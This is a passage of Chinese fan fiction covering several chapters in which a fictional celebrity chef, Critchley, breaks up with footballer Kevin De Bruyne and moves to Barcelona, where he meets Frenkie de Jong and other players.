他就这样在比利时住了好几天,德布劳内白天出去参加各种活动,晚上回来被他喂饱,日子过得还挺滋润。 直到镜报拍到了克里奇利出入德布劳内豪宅的照片,在网上引起了一片涨潮般的舆论风波,逼的德布劳内父亲不得不出来澄清,他们只是朋友,不是你们想的那样。 克里奇利就知道他们要走的路有多艰难。 他想到不能带他去nice或是bird跳舞,不能带他和基友见面,甚至不能和他出双入对,这以后的日子怎么过,一直偷偷摸摸的隐藏自己与生俱来的同志身份吗。 他爸说的一点没错,凯文现在还在现役,不该被肮脏的舆论拷打,如果事情闹大了,他会被足坛鄙夷嫌弃甚至遭受歧视,难以想象他会在球场上被人公然揩油并且嘲讽一句死基佬的画面。 这对适应了身份的克里奇利来说没什么,但对德布劳内来说可是职业上难以想象的毁灭性打击,他不该承受这份折辱,他应该被仰视,他是绿茵场最霸气的雄狮,没人可以小看他,更没人可以凌驾他。 克里奇利不想他背负这么大的压力。 与此同时,德布劳内家庭也做出了反击,他们要对镜报不负责任的言论引发的网上猜测和造谣采取法律手段。 最直接有效的反击是当事人的澄清。 但克里奇利不会直面媒体,他绝不会做出嘴上说我是直男,然后转头就去亲吻帅哥这样的事,更不会说我和德布劳内只是同事,才不是你们想的那样,最多是邀请我来做客的朋友。 这对其他人不公平,明明睡了一堆人,现在却要伪装自己扮演直男。对德布劳内也不公平,怎么他不够吸引力让自己x冷淡了?明明火辣的要命,恨不得一天24小时和他粘在床上。 对此,德布劳内也有点慌。他让克里奇利先回去,等风波过了再说。 他回去的前一天,老德布劳内先生又召见了他。 这次,老先生没有用任何劝退的口吻,相反,他还十分包容的对他说,“如果你足够成熟,可以保护好你们的关系,那我也可以放手不管,毕竟凯文已经好多年没对别人敞开心扉了。但是如果你敢伤害他,别怪我揍你。” “我怎么舍得伤害他,不过你指的是哪种伤害?我会做好安全措施不会让他受伤的。” “混蛋!”他爸骂了他一句接着重重拍了他的肩膀,放他回英国了。 回去的路上,克里奇利想了很多,想到脑电波短路,比高中数学还绕,他怎么会想到多姿多彩的彩虹生活给他出了这么一道难题呢。 结果一下飞机,蜂拥的记者给他抛出了一个又一个难解之题。 克里奇利带着墨镜从飞机上走下来,像个明星一样对媒体记者摆手,实际上是黑脸拒绝被拍被采访。 尖锐的声音从麦克风里不断冒出: “克里奇利先生,你是gay吗?” “你和德布劳内是真的吗?” “去比利时专程约会吗?” “拜托给我们个解释。” 克里奇利已经能想象的到德布劳内每天都要面对这样的记者,他该有多烦躁。 “没什么好解释的,我的事儿和你们无关。” 他加快脚步,把摄像机从自己脸前推开,真不想出名,这是他人生中最大的一次公关危机,是德布劳内带给他的热度,这真的让他感到有些触头,该怎么保护好这段关系呢? 这时他手机响了,低头一看,是托马斯打来的电话。 他告诉托马斯会坐哪个航班赶回来?*? 给他过生日,巧在托马斯和凯文一天生日,只是没办法继续留在比利时,总不能错过两个最重要的人的生日吧。 托马斯在电话里匆忙的对他说:“哥,来地下vip停车场,我来接你了。” 克里奇利愣了愣,托马斯还没有驾照呢,又一想,大概是麦卡蒂和他一起来的。 “你来干嘛,我助理来接我了,就在出口处。” “别从一楼出口走了,全是记者,你不知道你在英国火了啊?” “有这么夸张?我又不是明星,他们是来追你的吧。” “别开我玩笑了,哥,快点吧,上车再说。” 克里奇利本来没想躲着记者,越躲越是事儿,但小家伙专程来接自己为的就是让自己避开风头,也不好辜负了他,于是克里奇利转身坐直梯去了地下停车场。 果然没猜错,麦卡蒂开车停在曼城vip专属车位上,托马斯见到克里奇利赶紧下去帮他把东西放到车上,然后迅速离开了机场。 气氛有点尴尬,上次见麦卡蒂还是赛季初缺人的时候他来打替补,在餐厅说过几句话,现在竟然成了他弟弟的好朋友,克里奇利也拿不准他们到底是什么关系。 两个小孩以后的路还长着呢,希望他们不会面临这么难搞的局面。 “唉,你们球星真不好当,一点隐私都没有。” “克里奇利先生,我还不是球星。”麦卡蒂一边开着车一边回应他。 “那你是球童?我还没见过1米8多的球童呢。” “哈哈哈…”前面的两个小孩被他逗笑。 “哥,别闹了,我们队长早晚是球星。”托马斯满眼崇拜的看着他身边这个同样有着美丽金发的少年。 “是,你也早晚当上大明星。”麦卡蒂宠溺的对他笑。 “哎哟,明星有什么好。”克里奇利抱着肩膀靠在座椅上不说话了,他真希望这件事赶紧过去。 他是一个忠实于身份和生活的人,基本上是想干嘛干嘛,虽然没公开出柜,那也没否认过自己,现在可好,要回避的东西太多,恨不得藏起来不露面。 还有这段感情还不稳定就要经历这么多波折,让克里奇利深感迷茫,别看他是一个30岁大龄剩男,实际上是一个恋爱废柴,连给别人过生日都没个主见。 第52章 克里奇利走了以后,…… 克里奇利走了以后,德布劳内陷入了沉思。之前他爸反对他搞txl,他还跟他爸顶牛,现在他爸不管了,他反而有了一丝觉醒。 他从网上看了很多片子,发现自己对男的女的都不是很感兴趣,只是没碰到契合的灵魂。 克里奇利对他是一种嚣张的x吸引力,要说谈恋爱他绝对不是最佳人选。 不主动联系,不嘘寒问暖,不表达爱意,甚至连句生日祝福都没有,他想什么呢? 克里奇利想的是30多了还过生日?如果是自己的话,真希望他的朋友忘记祝福他,可他的生日太好记,每次除了银行给他发祝福外,都会收到他两个好基友准时问候,还给他办生日聚会,当然只是圣诞节邀请他去吃饭而已。 他也没给托马斯庆祝,有人给托马斯庆祝他固执的认为。 他在家里长成了阴湿的蘑菇,已经开始靠看片来排忧解难,最后逼的自己给德布劳内打视频电话,要求他云do,德布劳内不搭理他,于是他就怀疑德布劳内x冷淡,实际上他认为这就是谈恋爱,两个人节奏对不上,话不投机,聊着聊着就因为身处异地鞭长莫及而吵架。 没什么原因,暂时不能见面,消极应对,不敢面对现实,分歧归咎于一个谈恋爱弱智不懂得体贴关心满脑子只有x没长远打算的幼稚鬼,而另一个只关心足球,虽然也想固定关系但更多的是想要得到祝福的那种。 他们渐行渐远一天打不上一个电话。 德布劳内每次和他通话完,都会对他吊儿郎当的作派感到越来越难以理解,他发现自己只是迷恋他的气质,并没有太多的依赖,甚至在做过以后还对他有些反感,他进攻属性太强了,不懂得谦让,总是霸道的占据a位,让他心里不爽。 终于在他生日这天,他给克里奇利发信息,说先不联系了,彼此冷静一下。 克里奇利是真够冷静,连句生日祝福都没给他发,也没有太多的感觉,他也觉得谈恋爱没意思,不如简单直接的看对眼然后互相交换致命的信号,一拍即合,始终保持新鲜感的同时没那么多扯落不清。 他们的爱情跌跌撞撞经不起考验,现在更是摇摇欲坠,没人愿意再努努力。 德布劳内还是犹豫不决,他决定和克里奇利谈谈,把话说开看看还有没有谈下去的必要。 他回来了。 克里奇利家是密码锁,那他也提前告诉他一声,省的他换密码把自己搞的下不来台。 但是他回去的时候,看到一地的狼藉,更感觉下不来台。 克里奇利正在送客,他说,“你赶紧走吧,我一会有事,让他撞见解释不清。” 没错,这位和他纠缠不清的人正是克里奇利下午约的按摩男技。 他只是让他按照片里的情景给他表演一段。 结果这个男技看克里奇利长得漂亮又是名人,想多干一些私活赚点钱。 就在他爬床被拒的时候,德布劳内回来撞见这一幕。 克里奇利给了他很多小费终于把他送走。 接下来两个人不可避免的大吵一架。 关系也降到了冰点。 他们都说了狠话。 德布劳内说:“你是狗改不了吃屎!” 他说:“我就这样,是你说分开冷静的,我没有对你不忠,而且我也没做什么。” 德布劳内无语的摊摊手,他说:“你不要为精神出轨找任何借口。” 他笑了,说:“谢谢你抬举我,还精神出轨,你晾了我快半个月,我能有精神就算不错了,德布劳内,你以为你是谁啊!” 克里奇利说完就后悔了,他嘴巴没个把门的他知道,但是出口伤人一般都是开开玩笑,他本意并不是要伤害别人的,特别是他爱了这么久的德布劳内。 “凯文,我不是那个意思…”他走过去,双手握住德布劳内的肩膀。 “布莱恩,我也有错,我们还是分开吧。”德布劳内拨开他的手。 克里奇利垂着手臂,思考了半天,终于开口,“好,只要你高兴,我无所谓。”说完他就转过身去,只觉得眼眶上的神经一跳一跳的疼。 “嗯,你无所谓就好。你不难过我也不那么愧疚,其实我们并不合适。”德布劳内说完就离开了。 怎么会不合适呢,克里奇利也想不通,他去超市选购的时候总是能看到德布劳内喜欢吃的东西,菜谱随即在他脑子里生成,炸虾仁、白灼菜心搭配菠菜干酪意面。 他看球赛的时候,眼睛会不由自主地盯着德布劳内挪动的每一步,几乎是不看球的,只看他,如果他进球了,克里奇利心里会怒放一朵花,难以形容的开心,只觉得血往头上涌,要不是有椅背,他就能从座位上仰过去。 这些都是爱情,他怎么能不懂呢,果然爱情是不能碰的,碰了就会有太多的记忆不停地从脑中出现,拷打他脆弱的神经。 他无处发泄,只好夜夜混迹在酒池肉林里,让那些美好躯体晃走他脑子里停留过的白色爱情故事。 德布劳内就是他的白月光,带给他美好、纯洁和无暇的感受,那些成年人的对话和自然而然的碰触,都让他有一种徜徉在温暖河流中的舒服和惬意。 特别是德布劳内清冷疏离的面容,一双蓝湛湛的眼睛和他在场上那种攻守通杀的气势,和恋爱中那样温柔缱绻的样子形成强烈的反差,让克里奇利想忘都忘不了。 为了彻底忘记他,克里奇利拨通了助理的电话。 他去比利时之前,他助理克莱尔给他打过电话。 时间回到两周前。 “布莱恩,我看你最近有点闲,给你接了一个大活,希望你不要拒绝。”他的助理是一个很有主见的男妈妈。 “克莱尔,我一点都不闲,手上还有好几个私人订制,只是不用我亲自做而已,你就别给我接私活了,我现在要去比利时。” “老板,你怎么这么任性,去哪都不说一声,机票行程我给你定啊!” “得了,你只会给我定下一个工作地点。” “是的,布莱恩,巴塞罗那有请。” “巴塞罗那?” “他们要来伦敦温布利打欧超,点名要找你调理一下,我猜你的玄学功底传到西班牙特别是巴塞罗那很合理,瓜迪奥拉搞不好说漏了,伤员少是因为吃得好。” “帮我推掉。” “推不掉啊,一周5万磅。” “靠!我很缺钱吗?”克里奇利骂完了接着抬脚就去了比利时,完全不在乎他的拒绝可能会得罪一个西甲豪门。 他这个助理太会赚钱,给他挑的都是big deal,原因是对他的手艺无比信任,接私活帮老板赚钱自己的腰包也赚得鼓鼓的。 曼城三冠王以来,各大豪门都开始觊觎这位英国鼎鼎大名的厨神克里奇利,偷他食谱的比比皆是,然而做出来的却差强人意,也不受补。 赛季刚一结束他助理的电话都被打爆了,他本人也被各种关系介绍来的人情给轰炸的不敢接电话了。 巴萨慕名而来这并不稀奇,连阿森纳都在吃回头草,主动联系他说能不能回来伦敦一趟,夏歇期调整一下食谱,曼城给你多少,阿森纳加10%,克里奇利说把阿森纳拉黑,这种自信谁给他的。 现在,他想问问他助理,去巴塞罗那还行不。 他助理回答他,两周前我特么刚得罪人家的行政经理,要联系你自己联系。 他说那我不在曼城干了,你也得失业。 过了一会,他助理又打来电话。 “Boss,你果然不是一般人,我厚着脸皮给那边去电,人家说随时欢迎你,新赛季马上开始,有两场友谊赛要打,你要是去的话,就赶在友谊赛之前的动员宴会之前去给他们露一手,打上一管子鸡血,让他们把你就地留下。” “你以为我真是神啊,给他们食物里放易筋丹啊?” “什么是易筋丹?” “改造体质,提升功力的一种东方圣药。” “赐给我两颗呗。” “真有的话还能轮到你,早被我吃光了!” “我真怀疑你吃了这东西,整天激情四射的。” “真有的话,世界杯冠军都可能易主了。” “噗!损的你嘞!” 收拾好失恋的心情,克里奇利也离开了曼彻斯特,他走的悄无声息,因为还在夏歇期,很多人都不知情。 这下好了,伦敦小报的记者都找不到他了,这件事也逐渐平复下来,也没人敢在德布劳内面前提克里奇利的名字了。 德布劳内找回自己的ins密码,发了一条状态,是上个赛季他在客场进球并当选全场最佳的照片,照片中他单膝跪地,手指前方庆祝进球,并配文:“唯一正确的选择,就是继续向前。” 大多数人理解的是,他将继续热爱足球事业,不去谈个人情感问题。 也有人理解为,德布劳内确实有一段他坚持要爱的经历,只是他不可以太过任性。 随着克里奇利的远走,这段无疾而终的感情也戛然而止,成为他们彼此难以忘怀却又无法续写的遗憾。 克里奇利只身来到巴塞罗那,准备去巴萨之前先随便逛逛。 西班牙他是第二次来,来之前还和罗德里说了一声,罗德里很生气,一是怪他毫无预兆的说走就走,怎么对曼城对兄弟们这么狠心,上个赛季一起经历了多少起伏最终收获了无法想象的荣耀。二是怪他去西班牙不早和他说,他好帮他安顿一下。 克里奇利对罗德里的热情一如既往的宽慰,他说我来试试水,还不一定呢,要是有所需求,一定找你帮忙。 托马斯也很不理解,他试图挽救他们的关系,然而一个说分开对谁都好,另一个说我还没玩够呢,谈什么恋爱! 克里奇利刚和托马斯说完就被巴塞罗那大街上的一个滑板少年蹭了一下肩膀,并冲他回眸一笑,他得意的告诉托马斯,我喜欢西班牙的烈日和sunny boy,回头给他带礼物,一准比他从法国意大利带回来的破泥塑强多了,实际上那是托马斯在免税店一眼就相中的罗马人物雕塑,九头身的身材比例和流线型的肌肉线条,乍一看还挺像克里奇利的,狠下心来花了他演出费的一大半才买到的,才不是他口中的破泥塑。 他嘴上这么说,人也在阳光通透的巴塞罗那,但心还在雾气朦胧的曼彻斯特,整个人的状态就像刚哭完一场,鼻子里酸酸胀胀的,只想喝一杯刺激饮料来提提神或者解解乏。 他正在想自己是去咖啡厅还是酒吧的时候,看见了一个熟悉的背影,一头明晃晃的金发,身高在180左右,穿着一身白色的运动装,闪身进了一家叫“四只猫”的咖啡厅。 克里奇利脑子不转了,他的脚也不听使唤,直直地跟着进去了。 第53章 一直单身的克里奇利…… 一直单身的克里奇利,谈恋爱对他来说还是有点难,但是想要突然从爱情里抽身离去也不那么容易。 他明明知道这个人一定不是德布劳内,尽管背影是那么的像,他跟上去也不知道自己会做什么,也许只是看一眼,就像感冒后期的治疗,还需要再吃点药压一下。 他看见金发男人坐在窗边的角落,侧面看上去更像,他心开始突突,不会真是他吧。 看久了也不好,毕竟他也不是随时随地都会放电的骚扰者。 他找了个座位坐下,服务生过来为他点单,他低头看着平板菜单,余光把窗边笼罩,不知是巴塞罗那的阳光太烈还是金发明晃晃的耀眼,他竟然觉得眼睛被灼的有些痛,快要掉泪。 他用英文点单,美式去糖加冰,因为晚上有工作,不能用酒精麻醉自己,那就用咖啡苦死自己吧。 这个咖啡厅不算大,服务生看上去是个兼职学生,英文不太好的样子,一直在用西语跟他确认。 他西语也不太好,一直在说vale,si,沟通失败的他别扭的看向四周,发现周围的一对情侣在笑话他,不远处的金发男人也看向这边。 有那么一瞬间,他觉得“德布劳内”在看他,然后走过来帮他解围,他们再重新认识一遍,这次他会好好准备一下,给他留个不那么荒唐轻浮的印象。 旁边的小情侣只顾着笑,让他有些恼火,这时金发男人点好了自己的单,掏出4欧放在服务生的餐盘里,对这边用英语开口道,“先生,他问你怎么支付?” “哦哦,谢谢。”克里奇利看了他一眼,这一眼有些深。 他面容雪白干净,眼睛钴蓝,嘴角微微上扬,看上去年轻瑞丽,如同阳光。 克里奇利收回目光,把手伸向口袋,怎么口袋瘪瘪的,他脑子嗡的一声,“fuck!”脏话脱口而出,优雅绅士的形象瞬间崩塌,刚才那个滑板少年,毫无疑问,他刚来到西班牙就被偷了,还以为自己魅力太大落地生花呢。 他用英语解释自己钱包被偷了,可以手机支付吗? 要不是自己当时打着电话,可能手机也被偷了,那他就彻底尴尬了。 说完他又用眼神求助那位帮他解围的金发帅哥。 这位热情的帅哥显然是在这等朋友的,因为克里奇利看向他的时候他正向窗外招手,示意他的朋友他在这。 克里奇利只好低头摆弄着自己的apple pay,无奈尴尬的事还是发生了,这个小店竟然不支持手机支付。 这咖啡也不是非喝不可,他准备走了,唉,巴塞罗那第一印象还是不太友好啊,他想着,该去附近的警局报案,虽然钱包里没多少现金可是有身份证和银行卡,还是要处理一下的。 他刚走到门口,就被刚才帮他翻译的金发小帅哥叫住,再次开口让他惊讶万分。 “克里奇利先生吗?不介意的话,一起坐坐,我请。” 他现在还有明星效应了?真不敢相信,这可不是在英国,不过也不奇怪,铺天盖地的新闻能认出他来也正常。 “呃…”他还犹豫上了。 这要是搁以前,有人请他喝咖啡,还是个美男子,他还不屁颠屁颠的坐过去,然后开始试探人家喜好。 “不了,谢谢,我要去附近的警局。”他礼貌拒绝了。 金发男人对刚坐在他对面的一名男子说了几句话,这个看上去是他朋友的黑人男子确认了几秒,接着站起来走向门口,追上了前脚刚出门的克里奇利。 “先生!”他在克里奇利身后叫住他,“我是弗兰基德容先生的助理,他让我给你指路。” “哦?”克里奇利站定转过头来,看了一眼这位黑人朋友,又看到窗边的他口中的弗兰基德容正在微笑着向他招手。 “附近的警局就从这条路一直往前走,在第二个路口右转就看到标识了。希望巴塞罗那不至于给你留下太坏的印象。” “嗯,谢谢,替我向弗兰基德容先生道谢。” 怪不得他看这位眼熟,竟然是巴萨的德容,这也太巧了,下午要去巴萨确认菜单,准备友谊赛前的动员宴会,这就先遇见巴萨的人了。 克里奇利隔着落地窗对他微微一笑,接着去做计划表上节外生枝的事了。 他烦气的给他的助理克莱尔打电话,叫他准备一些证明材料发过来,他助理笑话他这人倒霉了喝凉水都塞牙,你要不要干完这单再回来?那他就不用给他处理辞职手续再考虑要不要追随他来西班牙了。 克里奇利说既然来了就得留下名声。 他到底可以做什么能得到巴萨的青睐,只是友谊赛就值得用重金聘请他来试水,说出去谁能信,他能养活球星,让美食效应变得更有说服力。 莱万多夫斯基已经在上个赛季不止一次吐槽餐厅的饭菜难吃,再这样他就要从家乡聘请厨师来了,这笔费用当然要巴萨出。 巴萨已经没招数和球星就饮食方面赖账,因为他们的主厨真的江郎才尽,众口难调的借口已经用了不知多少遍,现在巴萨主席对后勤总监放话,再不换厨师就换了你! 要说克里奇利不赶上这档子恋爱失败的事儿,也轮不到巴萨来挖他,当时他走的时候曼城说的是租借,还给他开了口子,如果有任何不适应,曼城始终欢迎你再回来。 他舍不得曼城,那里有他的朋友、同事、社交圈子,当然还有把他当家人一样的师妹、事业刚有点起色整天算计着还欠他多少钱的阿根廷弟弟、瞪着大眼睛说你要是走我就再也不理你的鲁本迪亚斯还有和他飙家乡话打暗语调戏他的格拉利什…… 他来到巴塞罗那,以为可以抛弃在曼城的一切重新开始,依旧被那个酷似德布劳内的背影给拽去了咖啡店,连钱包丢了都不急着去找。 现在,他报了案以后都不知道要去哪。 好不容易等到下午约好的时间,他去巴萨见了后勤总监,后者带着他转了一圈热情地给他介绍巴萨的历史和荣誉,然而他都不太感兴趣,他直言道我不是慕名而来的,我是慕钱而来的,我相信你们的底蕴可以付得起一笔看似高昂实际很划算的酬金。 他来到后厨了解了一下球星们的饮食习惯,听副主厨介绍了一些受欢迎的食谱,他撇撇嘴说,“怪不得饮食危机了。” 一家人瞪着他。 “实在是毫无新意。” 他扒拉扒拉菜架子上的新鲜蔬菜,又打开冷藏柜看看鲜肉和海鲜,再去看巴萨拟的动员宴会食谱。 “这些上好的食材要经历这么痛苦的虐待然后被端上桌去虐待我的客人,哦,杀了我吧。请问什么是蒸甘蓝?枫糖肉条?咸甜糯米羹?” 他两眼一翻,直接被菜单上的菜名给整萎靡了。 大家看着他,面面相觑,小声嘀咕。 “他什么来头,美食荒漠来的也配指指点点。” “五常里菜单最短的英国。” “他们吃的好像德国人还在头上飞一样。” 地狱笑话惹怒了这位还没上任就三把火的外聘临时主厨。 “没错,我是英国人,纯的,但是我最看不惯把饭菜做的难吃还叫人别浪费粮食,就算是炸鱼薯条焗豆子,我也能叫你们吃到舔盘子。” “咳咳……”总监先生咳嗽两声来缓解尴尬的气氛,刚想给大家隆重介绍大英请来的名厨,克里奇利就又跟上一句。 “不过抱歉,我不会做炸鱼薯条焗豆子,做别的一样叫你们舔盘子!” 简直是目中无人,嚣张到极致。 接下来就看他怎么堵住原住民的嘴了,一上来就先得罪一餐厅的工作人员,也不知道他哪来的无名火,撒完就走了。 第二天,他开始在厨房兴风作浪,除了改刀摆盘的帮厨之外,其他一律不信任,火候、调味、翻炒、直到最后的出餐全部由他一人完成。 动员宴会在优雅的蓝调音乐和柔和的灯光氛围下开始了,克里奇利也忙的告一段落,他看着菜品一个个被放到自助餐位上,然后在一边看着球星们前来取餐。 每次做完一次像样的工作,他都会找个地方抽根烟来放松一下,然后再回去看看取餐的情况。 这次,他一直靠在自助餐位的旁边,眯着眼打量着他的客人们来来往往,享受着他们对这些菜品发出的句句赞叹。 一道铁板鱿鱼配叉烧,鲜嫩可口,辛辣开胃,海带焗扇贝汁水丰富,一口入海,青柠龙虾,轻松脱壳,酥弹酸爽…谁说他不会做海鲜的,来到西班牙不把海鲜做到极致就是对欧洲海鲜消费大国的不尊重。 然而这么多好吃的还有没吸引住的人,那个中午在咖啡厅有过短暂接触的弗兰基德容,他端着餐盘靠近站在一边有些发愣的白衣绅士克里奇利。 “嗨!”他主动对克里奇利打招呼,手里端着一个空盘子。 克里奇利下意识拿起夹子给他夹了半只龙虾,再机械般的舀了两勺酱汁淋在上面。 “这是丢了多少钱啊?”德容皱着眉头又忍不住想笑,“你看上去有点,伤心。” “啊,这么明显吗?不过我没事,我会接受现实的。” “钱包丢了的现实?” 克里奇利撇撇嘴。 “它还可能找回来的。” “不寄予希望了。”克里奇利眼神有些暗淡,还是对这个他误认为是德布劳内的金发男人点了点头,“谢谢你,德容先生。” 第54章 晚餐进行的…… 晚餐进行的相当顺利,很多菜品被一扫而空,连汤汁都被后厨打包拿回去给小狗拌饭吃,真是应了他那句舔盘子的豪言壮语。 做这个他是专业的。 在宴会上物色新的猎物也一直是他擅长的,只是这次他有些力不从心。 他深色的瞳仁在晃动的灯光下像被雨淋湿了般亮晶晶的,但没有神采,也没有兴致,发呆半天最终落在德容的后脑勺上,他还是觉得像,除了说话时的神态和举止,他有种少年气的自由,一种阳光不惧岁月的张扬。 当然,他才25,6岁吧,是一款活泼外向的德布劳内。不,他晃了晃头,不要再去想他,他们之间已经如同被剪开的绳索,就此断开。 宴会结束,克里奇利也收拾收拾准备下班。 外面的天色已经完全黑了,只有几辆稀疏的出租车停在礼堂门口。 今天很累,他打着哈欠和大家道别,没有余力帮他们收尾,毕竟他这一晚上单打独斗了那么久,已经超值了。 刚走到门口就被一只手给搭上了肩膀。 回头一看,竟然是莱万多夫斯基。 莱万习惯性地给出笑容,友善地问,“克里奇利先生,你还记得我吗?” “啊……”克里奇利脑子飞速地运转,他不记得以前和莱万有过什么交集。 “唉,好失望啊!”他说。 “对不起,莱万多夫斯基先生,大概是之前随曼城和巴萨踢比赛的时候有过一面之缘?” “你真是贵人多忘事,你当时不是在阿森纳?” “噢这样,我在阿森纳的时候还不算个合格球迷,因此没认出来你,真抱歉,莱万多夫斯基先生。” “叫我罗伯特吧,这世界真小,当时我就听基维奥尔说他们餐厅老好了,请了一位名厨,还指了指你,你忘了,你还看过来冲我笑了笑。” “啊,没想到这也能给你留下印象。”他想说那一定是你太迷人了,主动放电还不是他基操,但现在的他反而调不起情来了。 “那当然了,克里奇利先生,今晚我才知道,之前我吃的都是嘛玩意!” “哈哈哈哈…”克里奇利被他奇怪的英语发音逗笑,“叫我布莱恩吧,以后想吃什么随时告诉我,波兰饺子?” “okok,太好了!布莱恩!”莱万抓住他的手一直摇着不放。 克里奇利在想,巴萨的人都好热情,一如这温暖的晚风,吹得他都心生困意了,但他还是没想起来曾对莱万笑过,不过莱万之前都没来打招呼,忽然这时候来套近乎,是什么意思呢? “那个,我们一会有个二场,我想知道英超的兄弟们都喝什么酒,你能来指点一二吗?” 莱万继续释放着他的e人社交本事,一直黏糊的拉着英国人的手。 克里奇利没想好要不要拒绝,这时,弗兰基德容从卫生间里走出来,看到他俩还在大厅门口堵着门吹冷风,于是走过去对莱万说,“嗨,罗伯特,你可真墨迹。” “嘿,弗兰基,是你让我施展明星效应的,我还没来得及说服他,你就来了,交给你了小队长。” 他朝着克里奇利挤了个wink,然后出门上了车,留给他们一个潇洒的背影。 他们都约好了,6个人两辆车,门口的高级商务车就是他约的专车。 德容抬起头看向克里奇利的脸,宴会厅里灯光忽明忽暗没怎么看清,现在离得很近,他仔细端详克里奇利的脸,不太确定他会不会拒绝自己。 “你眼睛还是绿色的呢。”他忽然说了一句不受大脑控制的话,引得克里奇利愣了一愣,没反应过来他如此跳脱的话题,不知道该怎么接,他想回应他,一般清晨醒来的第一束光照过来才会使我的眼睛看上去发绿,不过我已经忘了是哪个小可爱这么告诉我的。 “你观察的真仔细。”他只好点头报以微笑。 “em,罗伯特和你说了吗,太冒昧了,我说别打扰人家了,刚来巴塞罗那就被偷钱包了,心情还很低落,又忙了一晚上,应该很累了。” 他一边说一边拉着克里奇利的胳膊往外走,继续说着连腔调都和德布劳内有些相似的英语,对,他是荷兰人,他们说英语都有一些微微上扬的语调,让克里奇利有些恍惚。 加上德容喝了一些酒,面容还红扑扑的,和他说话时仰着脸微笑着,有一种莫名的熟悉感。 也许正是这种熟悉感让下午的克里奇利蒙头蒙脑的就尾随人家进了咖啡厅,连钱包被偷了都没急着去找。 一晚上也是时不时地目光交错,克里奇利感应的到有人一直在看他。 “不冒昧,只是我酒量不大好。”他很少说自己酒量不好,他是酒品不大行,喝点酒就容易乱,乱完了还失忆。 “那你愿意来吗?” “你得找一个可以手机支付的酒吧,这样我不至于太尴尬。” “哈哈哈…罗伯特请客,他今晚吃嗨了,一定要走个二场。” 他刚一上车,德容就遭到众人的调侃。 莱万坐在副驾驶上,回头对德容说,“我们小队长魅力就是大。” 坐在后排的加维笑出小白牙,附和了一句,“我们小队长是谁呀!181,金发,进攻中场,说荷兰人语…” 还没等加维把话说完就挨了德容一肘子。 他这话倒是把克里奇利说的口渴了。 看来他的绯闻都传到西班牙了,唉,要赶快澄清才好,千万别再发酵了,保护德布劳内从我做起,他试图拼凑起内心少的可怜的责任感碎片。 一晚上除了喝酒闭口不谈个人问题,不过他确实酒量不行,给莱万推荐了几款英国人喜欢喝的酒,被嘲跟饮料似的,他就忽然来了劲,和莱万喝了十个雷子,然后被德容揪起双手拉到卫生间去吐。 灿金色的酒液灼伤了他的咽喉,也灼伤了他的眼睛,不知道为?*? 什么,德容在一边轻轻拍着他的后背竟然把他拍哭了。 爱都是没结果的,他一边干呕一边笑话自己,明明知道会失去,还非要沦陷,现在这个痛啊,活该。 走了这么远,死去的爱情还在攻击他,让他破碎的好像一件被揉坏的名画,眼睛湿润,样子很乖,吐完了磕磕绊绊的伏在洗手台上,大把大把的撩起水,打湿了头发,脸颊和白色衬衫。 “对不起。”德容擦了擦被他溅到脸上的水花,有些自责的说,“真不该叫你来喝酒,你看上去状态不太好。” “没事。”他嗓音沙哑,眼尾猩红,下眼睑的毛细血管都被剧烈的呕吐给撑爆了,看上去像一只受伤的猎犬,并不像传闻中那么刚硬,一看就是铁1,现在看来是个0.5,德容在臆想。 “我都说了我酒量不好,和斯拉夫人怎么比,但他说我们英国人喝的都是饮料那我不得为英国人争口气啊。”他一身酒气扑面而来。 “害,罗伯特就那样,喝多了更是唯他独尊,你还没见过他吐的稀里哗啦的时候。” 说完,德容回头看了一眼,确保莱万的糗事没被别人听到。 “我没事了,你回去吧,我自己可以。”克里奇利推着德容往外走。 “那不行,你是我叫来的,我得确保你真的没事。”德容反手又扶住他。 回到卡座一看,都东倒西歪的没一个清醒的,德容摇了摇头,说今晚真不该再出来喝二场,明天训练都迟到了教练要唯他是问的。 先送回去一个是一个吧。 他和吐了以后清醒了3分的克里奇利叫了酒吧服务,把这些烂醉如泥的家伙们一个个送上了车,又联系了他们的保镖助理接应。 最后没怎么喝酒的德容坚持要把克里奇利送回酒店。 这会克里奇利酒劲儿又上来了,因为胃里空了,酒精很快就进入血液,他看德容越看越熟悉,打开酒店房门后,什么都不说的就扑倒了德容,接着就昏死过去。 德容被他压在床上,费了半天劲才把他翻过去,脱了他一身酒臭味的衣服和裤子,拉上被子又站在那里看了他半天。 这人多半是废了。 像断了线的木偶,强撑着自己完成工作,在压力过后又忍着倦意应酬了一夜,现在终于撑不住了,像死了一般一动不动,连呼吸都没了力气,现在再偷他钱包他都不会有反应,偷他的人也不会有反应。 德容晃了晃脑袋。 他看自己的眼神有一种虚弱的诱惑,就是断翅的蝴蝶试图再飞的勉强感,说喜欢吧他没有表现出一个gay应该主动拉丝的神态,说不喜欢吧,他几乎看了自己一晚上。 也许单纯是认为自己长得像德布劳内吧,如果是这样的话,那人可太狠了,把他伤的如此之惨,等下次有机会见到德布劳内,一定要告诉他,废掉一个人就是重视他,然后背刺他,让他报销整个赛季。 可德布劳内踢球比较文明,这么影射他也不太合适,而且自己还不了解实情。 那么,他很想了解一下。 他看着熟睡的克里奇利,任性的想要试试。 他凑近了些,看着那人鲜红的嘴唇,反应竟然是想伸手摸摸,这些莫名其妙的想法把他自己也吓了一跳,对传闻中的铁1这么没有抵抗力吗? 理智把他拉了回来但心跳不止。 自己没喝多少啊,怎么也上头了,不怪德布劳内,这谁看谁不迷糊。 第55章 克里奇利醒来,酒精…… 克里奇利醒来,酒精的效力似乎还在发作,很久没宿醉了,他的神思慢慢回笼,头痛也随之而来。 他左右看了看陌生的房间,又掀起被子看看自己,愣是没想起来他是怎么回来的,衣服谁脱的。 幸亏没带小帅哥回来,不然一准又不认识了。 今天什么行程,这酒是真不能喝太多,30了不再是小青年了,对于他这种和朋友说过40就死的人现在已经是青春的暮年,酒精代谢越来越差了,脑子也越来越混沌。 他给助理发了消息,得知今天没工作,等着巴萨联系。 曼城那边已经雇了新的主厨,球员正在闹情绪,没办法eleven顶着压力把他原来菜谱里的几道经典菜复刻了下来,然而效果也并不怎么好。 “你是不是下毒了?”克莱尔再次怀疑他用食物勾人胃又勾人心的本事。 “我有毒。”克里奇利也不否认自己菜做得好是不假,人情分还是有的,不然凭eleven的造诣,模仿他没有10分也有8分,只是她不知道,葡萄牙人对热量要求很严苛,克罗地亚人赛前不吃蜂蜜烤肉就不开心,比利时人不喜欢酸番茄酱,这一点他走的时候可是对eleven交代了好几遍。 eleven只是一个劲儿的抽泣,说着我记得比你清楚,只是你走了没人替我挨骂了。 克里奇利只好安慰她,谁敢骂你,你就给我打电话,再骂我一顿不就行了。 